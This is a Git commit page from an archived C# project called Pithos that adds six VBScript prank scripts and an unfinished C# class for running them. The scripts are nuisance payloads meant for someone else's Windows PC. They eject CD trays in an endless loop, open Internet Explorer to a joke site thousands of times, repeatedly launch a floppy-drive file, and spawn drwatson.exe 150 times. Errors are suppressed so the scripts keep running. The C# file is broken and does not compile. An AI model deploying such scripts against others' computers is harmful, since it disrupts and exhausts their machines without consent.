archive/pithos
Archived
1
Fork 0
Code Releases Packages Activity

Added file for pithos execution, and added programs to resources.

Browse source
This commit is contained in:
Jake Howard 2014-12-30 22:36:01 +00:00
parent e252eed97a
commit 0aabb99e06
8 changed files with 105 additions and 0 deletions
Show stats Download patch file Download diff file Expand all files Collapse all files

20
Pithos.csproj
View file

@ -50,6 +50,7 @@
<Compile Include="mainWindow.Designer.cs"> <Compile Include="mainWindow.Designer.cs">
<DependentUpon>mainWindow.cs</DependentUpon> <DependentUpon>mainWindow.cs</DependentUpon>
</Compile> </Compile>
<Compile Include="pithosPrograms.cs" />
<Compile Include="privateFunctions.cs" /> <Compile Include="privateFunctions.cs" />
<Compile Include="tools.cs" /> <Compile Include="tools.cs" />
<Compile Include="unlock.cs"> <Compile Include="unlock.cs">
@ -75,6 +76,7 @@
<Compile Include="Properties\Resources.Designer.cs"> <Compile Include="Properties\Resources.Designer.cs">
<AutoGen>True</AutoGen> <AutoGen>True</AutoGen>
<DependentUpon>Resources.resx</DependentUpon> <DependentUpon>Resources.resx</DependentUpon>
<DesignTime>True</DesignTime>
</Compile> </Compile>
<None Include="Properties\Settings.settings"> <None Include="Properties\Settings.settings">
<Generator>SettingsSingleFileGenerator</Generator> <Generator>SettingsSingleFileGenerator</Generator>
@ -89,6 +91,24 @@
<ItemGroup> <ItemGroup>
<None Include="App.config" /> <None Include="App.config" />
</ItemGroup> </ItemGroup>
<ItemGroup>
<None Include="Resources\CD - Subtle.vbs" />
</ItemGroup>
<ItemGroup>
<None Include="Resources\CD.vbs" />
</ItemGroup>
<ItemGroup>
<None Include="Resources\Do you know about the bird - Subtle.vbs" />
</ItemGroup>
<ItemGroup>
<None Include="Resources\Do you know about the bird.vbs" />
</ItemGroup>
<ItemGroup>
<None Include="Resources\Floppy Grind.vbs" />
</ItemGroup>
<ItemGroup>
<None Include="Resources\Help me Mr Watson!.vbs" />
</ItemGroup>
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" /> <Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
<!-- To modify your build process, add your task inside one of the targets below and uncomment it. <!-- To modify your build process, add your task inside one of the targets below and uncomment it.
Other similar extension points exist, see Microsoft.Common.targets. Other similar extension points exist, see Microsoft.Common.targets.

14
Resources/CD - Subtle.vbs Normal file
View file

@ -0,0 +1,14 @@
Set oWMP = CreateObject("WMPlayer.OCX.7" )
do
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
WScript.Sleep 1500
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
WScript.Sleep 30000
loop

13
Resources/CD.vbs Normal file
View file

@ -0,0 +1,13 @@
Set oWMP = CreateObject("WMPlayer.OCX.7" )
do
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
WScript.Sleep 1500
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
loop

11
Resources/Do you know about the bird - Subtle.vbs Normal file
View file

@ -0,0 +1,11 @@
' theorangeone.net/pithos
Dim objShell
Set objShell = WScript.CreateObject( "WScript.Shell" )
On error resume next
for i= 0 to 99999
for j= 0 to 3
objShell.run(""""C:\Program Files\Internet Explorer\iexplore.exe" www.aboutthebird.com""")
next
WScript.Sleep 60000
next

9
Resources/Do you know about the bird.vbs Normal file
View file

@ -0,0 +1,9 @@
' theorangeone.net/pithos
Dim objShell
Set objShell = WScript.CreateObject( "WScript.Shell" )
On error resume next
for i= 0 to 900
objShell.run(""""C:\Program Files\Internet Explorer\iexplore.exe" www.aboutthebird.com""")
WScript.Sleep 5000
next

9
Resources/Floppy Grind.vbs Normal file
View file

@ -0,0 +1,9 @@
' theorangeone.net/pithos
Dim objShell
Set objShell = WScript.CreateObject( "WScript.Shell" )
On error resume next
for i= 0 to 99999
objShell.Run("""A:\file.pithos""")
WScript.Sleep 2000
next

8
Resources/Help me Mr Watson!.vbs Normal file
View file

@ -0,0 +1,8 @@
' theorangeone.net/pithos
Dim objShell
Set objShell = WScript.CreateObject( "WScript.Shell" )
for i= 0 to 150
objShell.Run("""drwatson.exe""")
next
Set objShell = Nothing

21
pithosPrograms.cs Normal file
View file

@ -0,0 +1,21 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.IO;
namespace Pithos
{
class pithosPrograms
{
public static void decodeInput(string text)
{
text.Replace("/exec ", )
}
private static void CD(bool subtle)
{
}
}
}